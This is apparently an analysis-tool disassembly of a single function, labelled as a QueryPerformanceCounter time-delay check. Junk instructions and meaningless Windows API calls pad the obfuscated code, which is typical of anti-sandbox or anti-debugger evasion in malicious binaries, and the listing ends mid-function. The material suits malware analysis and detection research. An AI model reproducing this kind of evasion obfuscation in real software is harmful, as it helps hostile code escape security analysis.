Function at 0x40c8a4
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
mov dword [0x8d5018], 0x17635
mov eax, dword [0x8d5018]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40c8d6
mov byte [0x87e0a0], 0xb2
mov dword [0x87e0fb], ebx
add dword [0x87e0a3], eax
lea eax, [0x87e025]
add dword [eax + 0x24], 0xf7
test ebx, ebx
je 0x40c8f0
mov byte [0x87e02e], 0x83
jmp 0x40c8fb
mov word [0x87e025], 0x11fd
mov eax, ecx
mov byte [0x87e03c], 0x64
xchg dword [0x87e04c], edi
push ecx
push ecx
mov eax, 0x87e013
call fcn.00405c44
mov dword [0x8d501c], 0x1e36d
mov dword [0x8d5020], 0x10f94
mov eax, 0x40e45c
mov dword [0x8d5024], eax
mov eax, 0x40e488
mov dword [0x8d5028], eax
mov eax, dword [0x8d5028]
push eax
mov eax, dword [0x8d5024]
push eax
mov eax, dword [0x8d5020]
push eax
mov eax, dword [0x8d501c]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40c97b
mov dword [0x87e0bb], ecx
mov ebx, edi
dec dword [0x87e095]
mov dword [0x87e08c], 0x168d7
mov dword [0x87e0fc], eax
mov dword [0x87e108], ecx
mov dword [0x87e102], edi
mov dword [0x87e0a0], ebx
cmp byte [0x87e05a], 0
jle 0x40c9ab
mov dword [0x87e01e], 0x16c14
mov word [0x87e02a], 0xf58c
jmp 0x40c9ca
mov dword [0x87e02d], edx
mov dword [0x87e0bc], 0x11443
mov dword [0x87e0c9], 0x17b2c
mov esi, 0x2c
mov dword [0x87e108], ecx
mov dword [0x87e102], edi
mov dword [0x87e0a0], ebx
cmp byte [0x87e05a], 0
jle 0x40c9fa
mov dword [0x87e01e], 0x16c14
mov word [0x87e02a], 0xf58c
jmp 0x40ca19
mov dword [0x87e02d], edx
mov dword [0x87e0bc], 0x11443
mov dword [0x87e0c9], 0x17b2c
mov esi, 0x2c
call fcn.00405c44
cmp dword [ebp + 8], ecx
jne 0x40ca53
mov dword [0x87e0dd], edi
mov byte [0x87e0f6], 0xa5
mov dword [0x87e0ff], 0x1748a
lea edx, [0x87e0c1]
sub dword [edx + 4], 0xe7
mov dword [0x87e083], 0x13dbf
jmp 0x40ca6a
mov dword [0x87e048], 0x14771
mov byte [0x87e05a], 0xf
mov dword [0x87e03f], esi
and dword [0x87e0eb], edi
cmp word [0x87e0d3], si
jle 0x40ca80
mov ecx, 0x26
jmp 0x40ca9c
mov dword [0x87e058], esi
mov ecx, dword [0x87e06e]
mov dword [0x87e053], edx
mov dword [0x87e0aa], 0x13e8d
mov dword [0x87e0e3], ecx
push 0x8d502c
call sub.kernel32.dll_QueryPerformanceCounter
mov word [0x87e059], 0xc4d1
mov dword [0x87e101], edi
lea ebx, [0x87e08d]
add dword [ebx + 0x18], 0xe3
mov dword [0x87e0d8], edi
mov dword [0x87e0cf], esi
mov dword [0x87e0a7], eax
lea edi, [0x87e0f5]
mov dword [edi + 0x10], 0xd4
cmp ch, byte [ebp - 4]
jge 0x40caf2
mov dword [0x87e07c], ecx
mov dword [0x87e0ce], edx
lea esi, [0x87e07a]
sub dword [esi + 0x24], edx
mov dword [0x87e056], ebx
xor eax, eax
mov dword [0x8d503c], eax
mov eax, dword [0x8d503c]
push eax
mov eax, dword [0x8d5038]
push eax
mov eax, dword [0x8d5034]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40cb56
mov dword [0x87e02f], eax
cmp edi, dword [0x87e02b]
jg 0x40cb43
mov dword [0x87e0a2], 0x1025b
jmp 0x40cb4a
mov byte [0x87e08e], 0xe
mov dword [0x87e04c], edi
xchg dword [0x87e0ab], edx
mov byte [0x87e0d7], 0x17
mov word [0x87e0f8], 0xb7c6
mov dword [0x87e024], 0x1595d
mov dword [esp - 0x18], ecx
sub esi, 0x5a
call fcn.00403e40
push 0x8d5040
call sub.kernel32.dll_QueryPerformanceCounter
mov byte [0x87e056], 2
mov dword [0x87e07c], 0x10cb0
inc ebx
mov esi, ecx
lea eax, [0x87e025]
add dword [eax + 0x24], 0xf7
test ebx, ebx
je 0x40cbb4
mov byte [0x87e02e], 0x83
jmp 0x40cbbf
mov word [0x87e025], 0x11fd
mov eax, ecx
mov byte [0x87e03c], 0x64
xchg dword [0x87e04c], edi
call fcn.00401544
xor eax, eax
mov dword [0x8d5050], eax
mov eax, dword [0x8d5050]
push eax
mov eax, dword [0x8d504c]
push eax
mov eax, dword [0x8d5048]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
je 0x40cc08
mov dword [0x87e07f], edi
mov word [0x87e0a1], 0x2b30
mov dword [0x87e0bd], edx
mov dword [0x87e0a7], 0x10549
inc byte [0x87e076]
mov edx, dword [0x87e011]
mov dword [0x87e0e3], esi
mov dword [0x87e041], ecx
push eax
mov ecx, 0x87e0b9
push 0x87e0d2
call fcn.00403e40
mov byte [0x87e0d7], 0x17
mov word [0x87e0f8], 0xb7c6
mov dword [0x87e024], 0x1595d
mov dword [esp - 0x18], ecx
sub esi, 0x5a
push edx
push 0x87e0e1
push eax
call fcn.0040a4ec
mov ebx, dword [esp + 8]
mov word [0x87e0b0], 0xfcd
add ecx, 0x55
mov byte [0x87e010], 0xc
mov dword [0x87e105], esi
xor eax, eax
mov dword [0x8d505c], eax
mov eax, dword [0x8d505c]
push eax
mov eax, dword [0x8d5058]
push eax
mov eax, dword [0x8d5054]
push eax
call sub.advapi32.dll_RevertToSelf
call fcn.00405c44
xor eax, eax
mov dword [0x8d5068], eax
mov eax, dword [0x8d5068]
push eax
mov eax, dword [0x8d5064]
push eax
mov eax, dword [0x8d5060]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40ccde
and eax, 0xe0
mov dword [0x87e05e], 0x15634
mov dword [0x87e015], eax
mov dword [0x8d506c], 0x1cee1
mov eax, dword [0x8d506c]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40cd13
and esi, 0x88
mov dword [0x87e084], 0x1129d
and dword [0x87e0c2], edi
mov ebx, dword [0x87e09e]
cmp dword [0x87e058], 0
jl 0x40cd30
mov dword [0x87e0c3], eax
mov dword [0x87e0f4], ecx
xchg dword [0x87e030], edi
mov esi, edx
mov dword [0x87e02f], ebx
mov dword [0x87e0a3], 0x16293
xchg dword [0x87e0b0], eax
mov dword [0x87e066], ecx
mov dword [0x87e09d], eax
mov dword [esp - 0x1c], edx
mov ecx, esi
mov byte [0x87e0a1], 0x7d
mov edx, 0x87e011
mov edx, 0x87e0a8
call fcn.0040a4ec
cmp edx, dword [0x87e0a6]
jle 0x40cd90
mov dword [0x87e015], edi
mov dword [0x87e0c5], esi
mov dword [0x87e0a6], 0x11ee4
mov dword [esp - 0x18], esi
mov ebx, 0x4d
mov byte [0x87e041], 0x88
mov eax, dword [0x87e0a7]
cmp esi, dword [esp + 8]
jl 0x40cdae
mov dword [0x87e0ab], edi
dec esi
xchg dword [0x87e011], ebx
mov dword [0x8d5070], 0x17562
mov dword [0x8d5074], 0x1b6cb
mov eax, 0x40e4a8
mov dword [0x8d5078], eax
mov eax, 0x40e4bc
mov dword [0x8d507c], eax
mov eax, dword [0x8d507c]
push eax
mov eax, dword [0x8d5078]
push eax
mov eax, dword [0x8d5074]
push eax
mov eax, dword [0x8d5070]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
je 0x40ce28
dec ecx
mov ebx, edi
cmp byte [0x87e0b0], 0xde
jge 0x40ce12
mov dword [0x87e0ec], eax
jmp 0x40ce18
sub dword [0x87e06a], ecx
mov dword [0x87e067], edx
mov dword [0x87e087], 0x15293
lea eax, [0x87e025]
add dword [eax + 0x24], 0xf7
test ebx, ebx
je 0x40ce42
mov byte [0x87e02e], 0x83
jmp 0x40ce4d
mov word [0x87e025], 0x11fd
mov eax, ecx
mov byte [0x87e03c], 0x64
xchg dword [0x87e04c], edi
call fcn.00401544
mov dword [0x8d5080], 0x1142e
mov eax, dword [0x8d5080]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40ce8d
mov word [0x87e089], 0xcb25
mov dword [0x87e0e3], eax
add dword [0x87e072], edi
lea eax, [0x87e025]
add dword [eax + 0x24], 0xf7
test ebx, ebx
je 0x40cea7
mov byte [0x87e02e], 0x83
jmp 0x40ceb2
mov word [0x87e025], 0x11fd
mov eax, ecx
mov byte [0x87e03c], 0x64
xchg dword [0x87e04c], edi
call fcn.00403e40
xor eax, eax
mov dword [0x8d508c], eax
mov eax, dword [0x8d508c]
push eax
mov eax, dword [0x8d5088]
push eax
mov eax, dword [0x8d5084]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40cefd
lea ebx, [0x87e0bd]
sub dword [ebx], esi
mov dword [esp - 0xc], edx
mov dword [0x87e010], ecx
mov edx, 0xb6
sub dword [0x87e05e], edi
and ecx, 0x1a
mov dword [0x87e013], ebx
mov dword [0x8d5090], 0x1a612
mov eax, dword [0x8d5090]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40cf3f
mov edi, 0x94
mov eax, dword [0x87e0ca]
mov dword [0x87e0d3], edx
mov ecx, ebx
mov byte [0x87e02e], 0xa1
mov dword [0x87e056], 0x17528
mov dword [esp - 0x28], esi
sub dword [0x87e0d1], edi
mov dword [0x87e038], eax
xor eax, eax
mov dword [0x8d509c], eax
mov eax, dword [0x8d509c]
push eax
mov eax, dword [0x8d5098]
push eax
mov eax, dword [0x8d5094]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
je 0x40cf8d
mov dword [0x87e04a], edx
sub dword [0x87e0d1], esi
mov dword [0x87e05f], eax
mov dword [0x87e0af], ebx
and edx, dword [0x87e090]
mov dword [0x87e07a], esi
test eax, eax
jne 0x40cfaf
mov dword [0x87e0a2], 0x1442d
jmp 0x40cfb8
add edi, 0x56
mov dword [0x87e09c], edx
mov dword [0x8d50a0], 0x1731a
mov eax, dword [0x8d50a0]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
je 0x40cfe2
mov dword [0x87e0e3], eax
mov dword [0x87e087], edx
mov esi, 0x126
call fcn.00403c3c
cmp dword [0x87e058], 0
jl 0x40d004
mov dword [0x87e0c3], eax
mov dword [0x87e0f4], ecx
xchg dword [0x87e030], edi
mov esi, edx
mov dword [0x87e02f], ebx
mov dword [0x87e0a3], 0x16293
xchg dword [0x87e0b0], eax
mov dword [0x87e066], ecx
push edi
push eax
call fcn.00401544
mov dword [0x87e093], edi
mov dword [0x87e07d], esi
mov dword [0x87e047], ebx
mov dword [0x8d50a4], 0x1ec4e
mov dword [0x8d50a8], 0x1b17d
mov eax, 0x40e4c8
mov dword [0x8d50ac], eax
mov eax, 0x40e4e8
mov dword [0x8d50b0], eax
mov eax, dword [0x8d50b0]
push eax
mov eax, dword [0x8d50ac]
push eax
mov eax, dword [0x8d50a8]
push eax
mov eax, dword [0x8d50a4]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
je 0x40d0b5
mov dword [0x87e0de], edx
sub dword [0x87e042], eax
cmp word [0x87e08c], ax
jne 0x40d09d
mov dword [0x87e03b], ebx
mov dword [esp - 0x24], ecx
mov dword [0x87e068], esi
mov dword [0x87e05c], ebx
mov esi, ecx
mov dword [0x87e045], ebx
xchg dword [0x87e0b5], edi
mov dword [0x87e010], 0x10534
mov dword [0x87e0cf], edx
mov dword [0x8d50b4], 0x117d5
mov eax, dword [0x8d50b4]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40d110
mov dword [0x87e0c2], edi
cmp eax, 0xffffffff
jg 0x40d0f5
mov dword [0x87e026], edi
mov dword [0x87e106], eax
and dword [0x87e07e], ebx
add dword [0x87e062], esi
mov word [0x87e0c1], 0x8f88
call fcn.0040857c
mov byte [0x87e0ea], 0xb6
mov dword [0x87e0af], edi
lea esi, [0x87e0f4]
mov dword [esi + 0x20], 0xb0
call fcn.00405c44
mov byte [0x87e04d], 0x47
mov byte [0x87e0c7], 0x4b
mov dword [0x87e020], 0x12146
sub dword [0x87e0c4], edi
mov esi, 0x63
push 0x8d50b8
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
jne 0x40d179
and dword [0x87e08d], edx
mov edx, esi
mov dword [0x87e025], esi
mov dword [0x87e01e], ecx
push eax
mov eax, 0x87e0fc
call fcn.0040a4ec
mov dword [0x87e022], eax
add esi, dword [0x87e029]
mov dword [esp - 0xc], ebx
mov dword [esp - 0x10], edx
mov dword [0x8d50c0], 0x184bf
mov dword [0x8d50c4], 0x15776
mov eax, 0x40e508
mov dword [0x8d50c8], eax
mov eax, 0x40e510
mov dword [0x8d50cc], eax
mov eax, dword [0x8d50cc]
push eax
mov eax, dword [0x8d50c8]
push eax
mov eax, dword [0x8d50c4]
push eax
mov eax, dword [0x8d50c0]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
je 0x40d1ff
mov dword [0x87e097], eax
mov dword [0x87e0c8], edi
mov dword [0x87e027], eax
xchg dword [0x87e106], edi
mov dword [0x87e0ce], ebx
call fcn.0040857c
mov dword [0x8d50d0], 0x15418
mov dword [0x8d50d4], 0x10b2a
mov eax, 0x40e520
mov dword [0x8d50d8], eax
mov eax, 0x40e534
mov dword [0x8d50dc], eax
mov eax, dword [0x8d50dc]
push eax
mov eax, dword [0x8d50d8]
push eax
mov eax, dword [0x8d50d4]
push eax
mov eax, dword [0x8d50d0]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40d263
mov dword [0x87e0f6], edx
mov dword [esp - 0x20], eax
mov dword [0x87e0bf], ebx
mov dword [0x87e034], ecx
mov dword [0x87e09d], eax
mov dword [esp - 0x1c], edx
mov ecx, esi
mov byte [0x87e0a1], 0x7d
push 0
call fcn.00403e40
mov dword [0x8d50e0], 0x191bb
mov dword [0x8d50e4], 0x105be
mov eax, 0x40e53c
mov dword [0x8d50e8], eax
mov eax, 0x40e564
mov dword [0x8d50ec], eax
mov eax, dword [0x8d50ec]
push eax
mov eax, dword [0x8d50e8]
push eax
mov eax, dword [0x8d50e4]
push eax
mov eax, dword [0x8d50e0]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40d2e5
inc dword [0x87e079]
mov dword [0x87e0e6], esi
mov byte [0x87e080], 0x9d
add ecx, dword [0x87e045]
mov dword [0x87e049], eax
mov byte [ebp - 1], 0
xor eax, eax
mov dword [0x8d50f8], eax
mov eax, dword [0x8d50f8]
push eax
mov eax, dword [0x8d50f4]
push eax
mov eax, dword [0x8d50f0]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40d33c
xchg dword [0x87e0e8], esi
cmp edi, dword [0x87e032]
jle 0x40d324
mov word [0x87e052], 0x93f8
mov edi, eax
add dword [0x87e0ff], eax
mov dword [0x87e015], ebx
inc dword [0x87e056]
mov dword [0x87e0e8], eax
inc byte [ebp - 1]
cmp byte [ebp - 1], 2
jne 0x40d2e9
mov dword [0x8d50fc], 0x1800c
mov eax, dword [0x8d50fc]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
je 0x40d376
mov word [0x87e06b], 0xf8de
and dword [0x87e023], edi
and eax, 0xe
sub edi, 0x89
mov dword [0x87e03a], edx
mov dword [0x87e02e], 0x114e7
mov dword [0x87e0fc], ebx
xor eax, eax
mov dword [0x8d5108], eax
mov eax, dword [0x8d5108]
push eax
mov eax, dword [0x8d5104]
push eax
mov eax, dword [0x8d5100]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40d3d4
mov dword [0x87e0cb], esi
mov dword [0x87e0ba], 0x11942
add esi, dword [0x87e0fd]
add dword [0x87e0c4], ecx
mov dword [0x87e04d], 0x15bc4
mov byte [0x87e0d7], 0x17
mov word [0x87e0f8], 0xb7c6
mov dword [0x87e024], 0x1595d
mov dword [esp - 0x18], ecx
sub esi, 0x5a
push esi
push 1
call fcn.00405c44
sub ebx, 0x61
mov dword [0x87e031], eax
mov dword [0x87e0c1], 0x12746
cmp dword [0x87e0bd], 0
jge 0x40d425
mov dword [0x87e0ae], 0x11dee
jmp 0x40d441
mov dword [0x87e06a], 0x16d99
mov dword [0x87e085], ebx
mov dword [0x87e0f3], ecx
inc dword [0x87e016]
mov dword [0x8d510c], 0x1c762
mov dword [0x8d5110], 0x13c81
mov eax, 0x40e57c
mov dword [0x8d5114], eax
mov eax, 0x40e588
mov dword [0x8d5118], eax
mov eax, dword [0x8d5118]
push eax
mov eax, dword [0x8d5114]
push eax
mov eax, dword [0x8d5110]
push eax
mov eax, dword [0x8d510c]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
jne 0x40d499
mov dword [0x87e04b], eax
mov dword [0x87e05e], edx
and esi, 0x6f
call fcn.0040857c
mov edx, 0x87e017
call fcn.00403e40
lea ecx, [0x87e0ca]
mov dword [ecx + 0x28], 0
mov dword [0x87e046], esi
test eax, eax
jne 0x40d4db
lea edx, [0x87e08c]
and dword [edx], 0x7d
xchg dword [0x87e095], eax
dec byte [0x87e08e]
mov dword [0x87e080], edx
inc eax
mov dword [0x87e03d], ebx
mov dword [0x87e0de], edx
mov dword [0x87e0b2], ecx
mov dword [0x8d511c], 0x13cfb
mov dword [0x8d5120], 0x1fd23
mov eax, 0x40e58c
mov dword [0x8d5124], eax
mov eax, 0x40e59c
mov dword [0x8d5128], eax
mov eax, dword [0x8d5128]
push eax
mov eax, dword [0x8d5124]
push eax
mov eax, dword [0x8d5120]
push eax
mov eax, dword [0x8d511c]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40d54e
mov dword [0x87e05f], eax
mov dword [0x87e05d], ebx
add edi, 0xf2
mov dword [0x87e04c], ecx
mov dword [0x8d512c], 0x14d11
mov dword [0x8d5130], 0x1cc6e
mov eax, 0x40e5ac
mov dword [0x8d5134], eax
mov eax, 0x40e5bc
mov dword [0x8d5138], eax
mov eax, dword [0x8d5138]
push eax
mov eax, dword [0x8d5134]
push eax
mov eax, dword [0x8d5130]
push eax
mov eax, dword [0x8d512c]
push eax
call sub.user32.dll_AnyPopup
mov dword [0x87e02f], edi
mov dword [0x87e0a5], eax
mov dword [0x87e0d3], esi
call fcn.0040857c
push ecx
push 1
mov ecx, 0x87e06f
call fcn.00403e40
push 0x8d513c
call sub.kernel32.dll_QueryPerformanceCounter
mov esi, dword [0x87e01b]
xchg dword [0x87e073], eax
add dword [0x87e0d3], ecx
call fcn.004033a0
xor eax, eax
mov dword [0x8d514c], eax
mov eax, dword [0x8d514c]
push eax
mov eax, dword [0x8d5148]
push eax
mov eax, dword [0x8d5144]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40d633
cmp ebx, 0xffffffff
je 0x40d61d
mov dword [0x87e0ec], esi
mov word [0x87e020], 0xb830
mov ecx, dword [0x87e0a9]
mov word [0x87e011], 0xf8ab
mov dword [0x87e04b], 0x10004
mov dword [0x87e041], ebx
add dword [0x87e0c5], esi
mov byte [ebp - 1], 0
push 0x8d5150
call sub.kernel32.dll_QueryPerformanceCounter
mov dword [0x87e047], edi
mov dword [0x87e090], 0x12033
add edx, eax
mov dword [0x87e088], ecx
sub dword [0x87e05e], edi
and ecx, 0x1a
mov dword [0x87e013], ebx
inc byte [ebp - 1]
cmp byte [ebp - 1], 1
jne 0x40d637
mov dword [0x87e0a7], 0x10549
inc byte [0x87e076]
mov edx, dword [0x87e011]
mov dword [0x87e0e3], esi
mov dword [0x87e041], ecx
mov eax, 0x87e0a5
call fcn.0040a4ec
cmp edi, 0xffffffff
jle 0x40d6bd
lea esi, [0x87e104]
sub dword [esi], edi
mov byte [0x87e049], 0xc4
mov dword [0x87e0bc], edx
mov dword [0x87e055], edi
mov dword [0x87e039], eax
sub dword [0x87e0e9], edx
mov dword [0x87e0f6], ebx
xchg dword [esp - 8], edi
mov dword [0x87e0f0], ecx
add dword [0x87e08d], edx
mov dword [0x87e090], 0x1533f
xchg dword [0x87e094], eax
xor eax, eax
mov dword [0x8d5160], eax
mov eax, dword [0x8d5160]
push eax
mov eax, dword [0x8d515c]
push eax
mov eax, dword [0x8d5158]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40d73c
mov dword [0x87e0e7], 0x17aef
cmp dword [ebp - 0x18], edx
jl 0x40d726
xchg dword [esp - 0x12], esi
jmp 0x40d732
mov dword [0x87e04a], edx
mov dword [0x87e08e], ecx
mov dword [0x87e049], 0x13bc4
mov byte [ebp - 1], 0
mov dword [0x8d5164], 0x15592
mov dword [0x8d5168], 0x18154
mov eax, 0x40e5dc
mov dword [0x8d516c], eax
mov eax, 0x40e5e0
mov dword [0x8d5170], eax
mov eax, dword [0x8d5170]
push eax
mov eax, dword [0x8d516c]
push eax
mov eax, dword [0x8d5168]
push eax
mov eax, dword [0x8d5164]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40d7b0
mov dword [esp - 0x20], ebx
lea edi, [0x87e0fd]
mov dword [edi + 0x28], 0xeb
mov dword [0x87e07e], esi
mov dword [0x87e061], eax
mov dword [0x87e01a], 0x128d5
mov dword [0x87e108], ecx
mov dword [0x87e102], edi
mov dword [0x87e0a0], ebx
cmp byte [0x87e05a], 0
jle 0x40d7e0
mov dword [0x87e01e], 0x16c14
mov word [0x87e02a], 0xf58c
jmp 0x40d7ff
mov dword [0x87e02d], edx
mov dword [0x87e0bc], 0x11443
mov dword [0x87e0c9], 0x17b2c
mov esi, 0x2c
inc byte [ebp - 1]
cmp byte [ebp - 1], 1
jne 0x40d740
mov byte [ebp - 1], 0
mov dword [0x8d5174], 0x14184
mov dword [0x8d5178], 0x1d6f7
mov eax, 0x40e5e8
mov dword [0x8d517c], eax
mov eax, 0x40e608
mov dword [0x8d5180], eax
mov eax, dword [0x8d5180]
push eax
mov eax, dword [0x8d517c]
push eax
mov eax, dword [0x8d5178]
push eax
mov eax, dword [0x8d5174]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40d87a
mov dword [0x87e0dc], ebx
mov word [0x87e0ca], 0x5da
mov dword [0x87e07a], edi
mov dword [0x87e0b8], eax
mov dword [0x87e038], ebx
call fcn.0040305c
cmp dword [0x87e058], 0
jl 0x40d89c
mov dword [0x87e0c3], eax
mov dword [0x87e0f4], ecx
xchg dword [0x87e030], edi
mov esi, edx
mov dword [0x87e02f], ebx
mov dword [0x87e0a3], 0x16293
xchg dword [0x87e0b0], eax
mov dword [0x87e066], ecx
inc byte [ebp - 1]
cmp byte [ebp - 1], 2
jne 0x40d810
mov dword [0x87e023], 0x13e33
mov dword [0x87e0b8], ebx
mov byte [0x87e0fa], 0x21
mov dword [0x8d5184], 0x190ee
mov eax, dword [0x8d5184]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40d90a
mov eax, dword [0x87e04f]
lea ebx, [0x87e086]
add dword [ebx], 0x6e
add edi, dword [0x87e10a]
xchg dword [0x87e038], edi
mov dword [0x87e0af], esi
mov dword [0x87e05d], 0x12c87
push 0
call fcn.00405c44
mov byte [0x87e0e8], 0x9c
mov eax, 0x19b
mov eax, edx
add dword [0x87e087], edx
mov dword [0x87e037], esi
mov dword [0x8d5188], 0x17fea
mov eax, dword [0x8d5188]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
je 0x40d978
mov edi, ecx
mov dword [0x87e0d4], ebx
mov dword [0x87e084], ecx
sub dword [0x87e104], esi
mov dword [0x87e073], 0x124df
mov dword [0x8d518c], 0x14552
mov dword [0x8d5190], 0x13da5
mov eax, 0x40e630
mov dword [0x8d5194], eax
mov eax, 0x40e654
mov dword [0x8d5198], eax
mov eax, dword [0x8d5198]
push eax
mov eax, dword [0x8d5194]
push eax
mov eax, dword [0x8d5190]
push eax
mov eax, dword [0x8d518c]
push eax
call sub.user32.dll_AnyPopup
test eax, eax
jne 0x40d9d5
mov dword [0x87e0fb], edi
mov eax, ebx
lea ecx, [0x87e0e9]
sub dword [ecx], 0x89
mov byte [ebp - 1], 0
mov dword [0x87e0b9], esi
mov dword [0x87e0f7], edi
mov dword [0x87e02e], ebx
mov dword [0x8d519c], 0x11e5b
mov dword [0x8d51a0], 0x18f26
mov eax, 0x40e678
mov dword [0x8d51a4], eax
mov eax, 0x40e680
mov dword [0x8d51a8], eax
mov eax, dword [0x8d51a8]
push eax
mov eax, dword [0x8d51a4]
push eax
mov eax, dword [0x8d51a0]
push eax
mov eax, dword [0x8d519c]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
jne 0x40da4a
mov dword [0x87e0f0], 0x133cc
mov dword [0x87e097], ecx
mov edi, dword [0x87e071]
inc byte [ebp - 1]
cmp byte [ebp - 1], 2
jne 0x40d9d9
cmp dl, byte [0x87e0cb]
jge 0x40da7a
mov dword [0x87e084], 0x16a68
mov byte [0x87e010], 0xd7
mov dword [0x87e099], ecx
mov dword [0x87e10a], edi
jmp 0x40da8c
xchg dword [0x87e0fd], ecx
mov dword [0x87e0d3], eax
mov dword [0x87e0f7], edi
lea esi, [0x87e0f2]
and dword [esi + 0x24], 0x1a
test eax, eax
je 0x40daab
mov eax, edx
mov byte [0x87e0e8], 0x85
mov dword [0x87e0a7], edi
jmp 0x40dac5
mov dword [0x87e0af], 0x10021
mov edi, dword [esp + 0x28]
and dword [0x87e02b], ebx
mov dword [0x87e0dc], edi
mov esi, dword [esp + 0x12]
sub dword [0x87e0db], edi
mov dword [0x8d51ac], 0x1c75c
mov dword [0x8d51b0], 0x118ec
mov eax, 0x40e690
mov dword [0x8d51b4], eax
mov eax, 0x40e6b0
mov dword [0x8d51b8], eax
mov eax, dword [0x8d51b8]
push eax
mov eax, dword [0x8d51b4]
push eax
mov eax, dword [0x8d51b0]
push eax
mov eax, dword [0x8d51ac]
push eax
call sub.user32.dll_AnyPopup
mov byte [0x87e0d7], 0x17
mov word [0x87e0f8], 0xb7c6
mov dword [0x87e024], 0x1595d
mov dword [esp - 0x18], ecx
sub esi, 0x5a
call fcn.00403e40
mov dword [0x8d51bc], 0x15edf
mov eax, dword [0x8d51bc]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40db69
mov dword [0x87e0ff], 0x13531
xchg dword [0x87e0ce], ecx
mov dword [0x87e014], esi
add edi, dword [0x87e018]
mov dword [0x87e07d], esi
cmp edx, 0xffffffff
jge 0x40db80
mov dword [0x87e053], ecx
xchg dword [0x87e05f], esi
lea eax, [0x87e013]
sub dword [eax], 8
lea edi, [0x87e01d]
sub dword [edi + 0x28], 0xb5
mov ecx, 0x5f
add ebx, 0x9f
mov byte [0x87e0c7], 0x81
xor eax, eax
mov dword [0x8d51c8], eax
mov eax, dword [0x8d51c8]
push eax
mov eax, dword [0x8d51c4]
push eax
mov eax, dword [0x8d51c0]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40dbe3
lea ecx, [0x87e0f3]
add dword [ecx + 0x12], ebx
mov dword [esp - 0xc], edi
and dword [0x87e082], edx
mov dword [0x87e09d], eax
mov dword [esp - 0x1c], edx
mov ecx, esi
mov byte [0x87e0a1], 0x7d
push 0x87e075
call fcn.00405c44
mov dword [0x87e0df], 0x1518e
test cl, cl
je 0x40dc1c
sub dword [0x87e01c], ecx
mov dword [0x87e0dd], eax
jmp 0x40dc36
mov dword [esp - 0x1c], esi
mov edi, dword [0x87e03d]
mov dword [0x87e074], edx
mov dword [0x87e039], 0x15ffa
sub ecx, esi
cmp word [0x87e092], 0
jle 0x40dc5b
mov dword [esp - 8], edx
sub esi, 0x76
sub dword [0x87e0a7], ebx
mov dword [0x87e0d8], 0x15b16
jmp 0x40dc83
mov dword [0x87e09b], ebx
lea ecx, [0x87e026]
sub dword [ecx + 0x1c], 0xb
mov dword [0x87e01f], ebx
mov word [0x87e0ad], 0xe9e5
mov word [0x87e0aa], 0x1e4c
mov dword [0x8d51cc], 0x1afbe
mov eax, dword [0x8d51cc]
push eax
call sub.advapi32.dll_RevertToSelf_1
mov dword [0x87e02b], edi
cmp esi, 0xffffffff
jle 0x40dcae
mov word [0x87e014], 0x289e
jmp 0x40dcb4
mov dword [0x87e08a], eax
mov ebx, dword [esp + 0x28]
mov dword [0x87e061], edi
mov dword [0x87e0a7], 0x10549
inc byte [0x87e076]
mov edx, dword [0x87e011]
mov dword [0x87e0e3], esi
mov dword [0x87e041], ecx
call fcn.00403e40
xor eax, eax
mov dword [0x8d51d8], eax
mov eax, dword [0x8d51d8]
push eax
mov eax, dword [0x8d51d4]
push eax
mov eax, dword [0x8d51d0]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
je 0x40dd17
mov dword [0x87e02f], esi
xchg dword [esp - 0x12], edx
add dword [0x87e0d1], ebx
xchg dword [0x87e0a2], eax
mov dword [0x87e0d7], edx
mov dword [0x87e082], edi
xor eax, eax
mov dword [0x8d51e4], eax
mov eax, dword [0x8d51e4]
push eax
mov eax, dword [0x8d51e0]
push eax
mov eax, dword [0x8d51dc]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
je 0x40dd66
sub eax, 0x52
mov dword [0x87e0f2], edx
mov word [0x87e0ac], 0x50b2
lea eax, [0x87e0e5]
add dword [eax + 8], ecx
call fcn.004033a0
push 1
mov edx, 0x87e038
mov edx, 0x87e043
call fcn.00403e40
mov byte [ebp - 1], 0
push 0x8d51e8
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
jne 0x40dda3
mov dword [0x87e046], 0x15c56
mov esi, 0x28
mov dword [0x87e0e2], eax
call fcn.004033a0
lea eax, [0x87e025]
add dword [eax + 0x24], 0xf7
test ebx, ebx
je 0x40ddc2
mov byte [0x87e02e], 0x83
